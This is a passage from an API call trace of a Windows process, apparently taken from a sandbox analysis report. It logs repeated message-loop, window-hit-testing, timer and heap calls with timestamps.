(lprc=0x30f390, pt=0x1a3) returned 1 [0195.058] GetCurrentThreadId () returned 0xcd8 [0195.058] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0195.369] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0195.369] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0195.369] GetCapture () returned 0x0 [0195.369] WindowFromPoint (Point=0x25a) returned 0x60018 [0195.370] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0195.370] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0195.370] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0195.370] PtInRect (lprc=0x30f390, pt=0x1a3) returned 1 [0195.370] GetCurrentThreadId () returned 0xcd8 [0195.370] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0195.682] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0195.682] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0195.682] GetCapture () returned 0x0 [0195.682] WindowFromPoint (Point=0x25a) returned 0x60018 [0195.682] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0195.682] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0195.682] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0195.682] PtInRect (lprc=0x30f390, pt=0x1a3) returned 1 [0195.682] GetCurrentThreadId () returned 0xcd8 [0195.682] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0195.993] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0195.993] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0195.993] GetCapture () returned 0x0 [0195.994] WindowFromPoint (Point=0x25a) returned 0x60018 [0195.994] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0195.994] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0195.994] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0195.994] PtInRect (lprc=0x30f390, pt=0x1a3) returned 1 [0195.994] GetCurrentThreadId () returned 0xcd8 [0195.994] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0196.306] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0196.306] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0196.306] GetCapture () returned 0x0 [0196.306] WindowFromPoint (Point=0x25a) returned 0x60018 [0196.306] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0196.306] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0196.306] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0196.306] PtInRect (lprc=0x30f390, pt=0x1a3) returned 1 [0196.306] GetCurrentThreadId () returned 0xcd8 [0196.306] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0196.617] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0196.617] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0196.617] GetCapture () returned 0x0 [0196.617] WindowFromPoint (Point=0x44b) returned 0x300f2 [0196.618] IsChild (hWndParent=0x60018, hWnd=0x300f2) returned 0 [0196.618] GetMessageTime () returned 322828 [0196.618] GetMessagePos () returned 0x56044b [0196.618] KillTimer (hWnd=0x60132, uIDEvent=0x2003) returned 1 [0196.618] GetCapture () returned 0x0 [0196.619] ClientToScreen (in: hWnd=0x60018, lpPoint=0x30f56c | out: lpPoint=0x30f56c) returned 1 [0196.619] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf8) returned 0x814100 [0196.619] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x30) returned 0x83d828 [0196.620] GetCurrentThreadId () returned 0xcd8 [0196.620] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0196.620] ClientToScreen (in: hWnd=0x60018, lpPoint=0x30f570 | out: lpPoint=0x30f570) returned 1 [0196.620] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf8) returned 0x830478 [0196.620] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x830478 | out: hHeap=0x7f0000) returned 1 [0196.620] ClientToScreen (in: hWnd=0x60018, lpPoint=0x30f570 | out: lpPoint=0x30f570) returned 1 [0196.621] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf8) returned 0x830478 [0196.621] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x830478 | out: hHeap=0x7f0000) returned 1 [0196.621] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x2a3, wParam=0x0, lParam=0x0, plResult=0x30f664 | out: plResult=0x30f664) returned 0x1 [0196.621] NtdllDefWindowProc_W () returned 0x0 [0196.621] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x814100 | out: hHeap=0x7f0000) returned 1 [0196.621] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0226.692] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0226.692] GetClientRect (in: hWnd=0x60018, lpRect=0x30f570 | out: lpRect=0x30f570) returned 1 [0226.692] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f580 | out: lpPoint=0x30f580) returned 1 [0226.692] PtInRect (lprc=0x30f570, pt=0x187) returned 1 [0226.692] GetCurrentThreadId () returned 0xcd8 [0226.692] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0226.693] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f5f0 | out: lpPoint=0x30f5f0) returned 1 [0226.693] GetMessageTime () returned 322828 [0226.693] GetMessagePos () returned 0x56044b [0226.693] GetCapture () returned 0x0 [0226.693] IntersectRect (in: lprcDst=0x30efe0, lprcSrc1=0x30efe0, lprcSrc2=0x30f070 | out: lprcDst=0x30efe0) returned 1 [0226.694] IntersectRect (in: lprcDst=0x30ed9c, lprcSrc1=0x30ed9c, lprcSrc2=0x30ed6c | out: lprcDst=0x30ed9c) returned 1 [0226.694] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30ed8c | out: lprcDst=0x30f080) returned 1 [0226.694] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0226.694] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d58 [0226.694] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30edac | out: lprcDst=0x30f080) returned 1 [0226.694] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0226.694] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0226.694] IntersectRect (in: lprcDst=0x30e92c, lprcSrc1=0x30e92c, lprcSrc2=0x30e8fc | out: lprcDst=0x30e92c) returned 1 [0226.694] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e91c | out: lprcDst=0x30f080) returned 1 [0226.694] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0226.694] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0226.694] IntersectRect (in: lprcDst=0x30e768, lprcSrc1=0x30e768, lprcSrc2=0x30f070 | out: lprcDst=0x30e768) returned 1 [0226.695] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e93c | out: lprcDst=0x30f080) returned 1 [0226.695] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0226.695] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0226.695] IntersectRect (in: lprcDst=0x30e7c0, lprcSrc1=0x30e7c0, lprcSrc2=0x30f070 | out: lprcDst=0x30e7c0) returned 1 [0226.695] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0226.695] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d58 | out: hHeap=0x7f0000) returned 1 [0226.695] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0226.695] SetTimer (hWnd=0x60132, nIDEvent=0x2004, uElapse=0x12c, lpTimerFunc=0x0) returned 0x2004 [0226.696] PtInRect (lprc=0x30f348, pt=0x187) returned 1 [0226.696] PtInRect (lprc=0x30f1ec, pt=0x9826) returned 1 [0226.696] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0226.696] GetCursor () returned 0x10003 [0226.696] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0226.696] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0226.696] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0226.697] GetMessageTime () returned 352889 [0226.697] GetMessagePos () returned 0x293023e [0226.697] GetCapture () returned 0x0 [0226.697] IntersectRect (in: lprcDst=0x30f068, lprcSrc1=0x30f068, lprcSrc2=0x30f0f8 | out: lprcDst=0x30f068) returned 1 [0226.697] IntersectRect (in: lprcDst=0x30ee24, lprcSrc1=0x30ee24, lprcSrc2=0x30edf4 | out: lprcDst=0x30ee24) returned 1 [0226.697] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee14 | out: lprcDst=0x30f108) returned 1 [0226.697] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0226.697] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d58 [0226.697] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee34 | out: lprcDst=0x30f108) returned 1 [0226.697] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0226.697] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0226.697] IntersectRect (in: lprcDst=0x30e9b4, lprcSrc1=0x30e9b4, lprcSrc2=0x30e984 | out: lprcDst=0x30e9b4) returned 1 [0226.697] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9a4 | out: lprcDst=0x30f108) returned 1 [0226.697] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0226.697] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0226.697] IntersectRect (in: lprcDst=0x30e7f0, lprcSrc1=0x30e7f0, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e7f0) returned 1 [0226.697] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9c4 | out: lprcDst=0x30f108) returned 1 [0226.697] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0226.697] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0226.697] IntersectRect (in: lprcDst=0x30e848, lprcSrc1=0x30e848, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e848) returned 1 [0226.697] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0226.697] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d58 | out: hHeap=0x7f0000) returned 1 [0226.697] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0226.698] ClientToScreen (in: hWnd=0x60018, lpPoint=0x30f394 | out: lpPoint=0x30f394) returned 1 [0226.698] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf8) returned 0x814100 [0226.698] GetCurrentThreadId () returned 0xcd8 [0226.698] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0226.698] PtInRect (lprc=0x30f3d0, pt=0x187) returned 1 [0226.699] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x200, wParam=0x0, lParam=0x1c60187, plResult=0x30f48c | out: plResult=0x30f48c) returned 0x1 [0226.699] NtdllDefWindowProc_W () returned 0x0 [0226.699] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x814100 | out: hHeap=0x7f0000) returned 1 [0226.699] GetMessageTime () returned 352889 [0226.699] GetMessagePos () returned 0x293023e [0226.699] GetCapture () returned 0x0 [0226.699] ClientToScreen (in: hWnd=0x60018, lpPoint=0x30f394 | out: lpPoint=0x30f394) returned 1 [0226.699] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf8) returned 0x814100 [0226.700] GetCurrentThreadId () returned 0xcd8 [0226.700] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0226.700] ClientToScreen (in: hWnd=0x60018, lpPoint=0x30f398 | out: lpPoint=0x30f398) returned 1 [0226.700] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf8) returned 0x830478 [0226.701] ClientToScreen (in: hWnd=0x60018, lpPoint=0x30f398 | out: lpPoint=0x30f398) returned 1 [0226.701] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf8) returned 0x830478 [0226.701] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x830478 | out: hHeap=0x7f0000) returned 1 [0226.701] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x804860 | out: hHeap=0x7f0000) returned 1 [0226.701] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x8004, wParam=0x0, lParam=0x1c60187, plResult=0x30f48c | out: plResult=0x30f48c) returned 0x1 [0226.701] NtdllDefWindowProc_W () returned 0x0 [0226.701] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x814100 | out: hHeap=0x7f0000) returned 1 [0226.701] GetCurrentThreadId () returned 0xcd8 [0226.701] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0227.006] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0227.006] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0227.006] GetCapture () returned 0x0 [0227.006] WindowFromPoint (Point=0x23e) returned 0x60018 [0227.006] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0227.006] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0227.006] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0227.006] PtInRect (lprc=0x30f390, pt=0x187) returned 1 [0227.007] GetCurrentThreadId () returned 0xcd8 [0227.007] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0227.318] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0227.319] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0227.319] GetCapture () returned 0x0 [0227.319] WindowFromPoint (Point=0x23e) returned 0x60018 [0227.319] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0227.319] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0227.319] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0227.319] PtInRect (lprc=0x30f390, pt=0x187) returned 1 [0227.319] GetCurrentThreadId () returned 0xcd8 [0227.319] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0227.630] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0227.630] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0227.630] GetCapture () returned 0x0 [0227.630] WindowFromPoint (Point=0x23e) returned 0x60018 [0227.630] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0227.630] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0227.630] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0227.630] PtInRect (lprc=0x30f390, pt=0x187) returned 1 [0227.630] GetCurrentThreadId () returned 0xcd8 [0227.630] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0227.944] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0227.944] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0227.944] GetCapture () returned 0x0 [0227.944] WindowFromPoint (Point=0x23e) returned 0x60018 [0227.945] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0227.945] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0227.945] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0227.945] PtInRect (lprc=0x30f390, pt=0x187) returned 1 [0227.945] GetCurrentThreadId () returned 0xcd8 [0227.945] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0228.256] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0228.256] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0228.256] GetCapture () returned 0x0 [0228.256] WindowFromPoint (Point=0x23e) returned 0x60018 [0228.256] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0228.256] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0228.256] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0228.256] PtInRect (lprc=0x30f390, pt=0x187) returned 1 [0228.256] GetCurrentThreadId () returned 0xcd8 [0228.256] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0228.566] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0228.566] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0228.566] GetCapture () returned 0x0 [0228.566] WindowFromPoint (Point=0x23e) returned 0x60018 [0228.566] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0228.566] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0228.566] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0228.566] PtInRect (lprc=0x30f390, pt=0x187) returned 1 [0228.566] GetCurrentThreadId () returned 0xcd8 [0228.567] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0228.878] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0228.878] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0228.878] GetCapture () returned 0x0 [0228.879] WindowFromPoint (Point=0x23e) returned 0x60018 [0228.879] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0228.879] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0228.879] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0228.879] PtInRect (lprc=0x30f390, pt=0x187) returned 1 [0228.879] GetCurrentThreadId () returned 0xcd8 [0228.879] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0229.190] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0229.190] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0229.190] GetCapture () returned 0x0 [0229.190] WindowFromPoint (Point=0x23e) returned 0x60018 [0229.190] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0229.190] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0229.190] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0229.190] PtInRect (lprc=0x30f390, pt=0x187) returned 1 [0229.190] GetCurrentThreadId () returned 0xcd8 [0229.191] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0229.502] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0229.502] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0229.502] GetCapture () returned 0x0 [0229.502] WindowFromPoint (Point=0x23e) returned 0x60018 [0229.502] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0229.502] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0229.502] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0229.502] PtInRect (lprc=0x30f390, pt=0x187) returned 1 [0229.502] GetCurrentThreadId () returned 0xcd8 [0229.503] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0229.814] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0229.814] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0229.814] GetCapture () returned 0x0 [0229.814] WindowFromPoint (Point=0x23e) returned 0x60018 [0229.814] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0229.815] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0229.815] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0229.815] PtInRect (lprc=0x30f390, pt=0x187) returned 1 [0229.815] GetCurrentThreadId () returned 0xcd8 [0229.815] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0230.140] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0230.140] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0230.140] GetCapture () returned 0x0 [0230.140] WindowFromPoint (Point=0x23e) returned 0x60018 [0230.140] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0230.140] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0230.140] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0230.140] PtInRect (lprc=0x30f390, pt=0x187) returned 1 [0230.140] GetCurrentThreadId () returned 0xcd8 [0230.140] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0230.438] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0230.438] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0230.439] GetCapture () returned 0x0 [0230.439] WindowFromPoint (Point=0x23e) returned 0x60018 [0230.439] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0230.439] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0230.439] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0230.439] PtInRect (lprc=0x30f390, pt=0x187) returned 1 [0230.439] GetCurrentThreadId () returned 0xcd8 [0230.439] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0230.750] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0230.750] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0230.750] GetCapture () returned 0x0 [0230.750] WindowFromPoint (Point=0x23e) returned 0x60018 [0230.750] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0230.751] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0230.751] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0230.751] PtInRect (lprc=0x30f390, pt=0x187) returned 1 [0230.751] GetCurrentThreadId () returned 0xcd8 [0230.751] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0231.062] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0231.062] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0231.062] GetCapture () returned 0x0 [0231.062] WindowFromPoint (Point=0x23e) returned 0x60018 [0231.062] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0231.062] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0231.062] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0231.062] PtInRect (lprc=0x30f390, pt=0x187) returned 1 [0231.062] GetCurrentThreadId () returned 0xcd8 [0231.062] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0231.376] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0231.376] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0231.376] GetCapture () returned 0x0 [0231.376] WindowFromPoint (Point=0x23e) returned 0x60018 [0231.376] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0231.376] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0231.376] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0231.376] PtInRect (lprc=0x30f390, pt=0x187) returned 1 [0231.376] GetCurrentThreadId () returned 0xcd8 [0231.377] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0231.688] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0231.688] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0231.689] GetCapture () returned 0x0 [0231.689] WindowFromPoint (Point=0x23e) returned 0x60018 [0231.689] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0231.689] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0231.689] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0231.689] PtInRect (lprc=0x30f390, pt=0x187) returned 1 [0231.689] GetCurrentThreadId () returned 0xcd8 [0231.689] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0232.000] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0232.000] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0232.000] GetCapture () returned 0x0 [0232.000] WindowFromPoint (Point=0x23e) returned 0x60018 [0232.000] GetWindowLongW 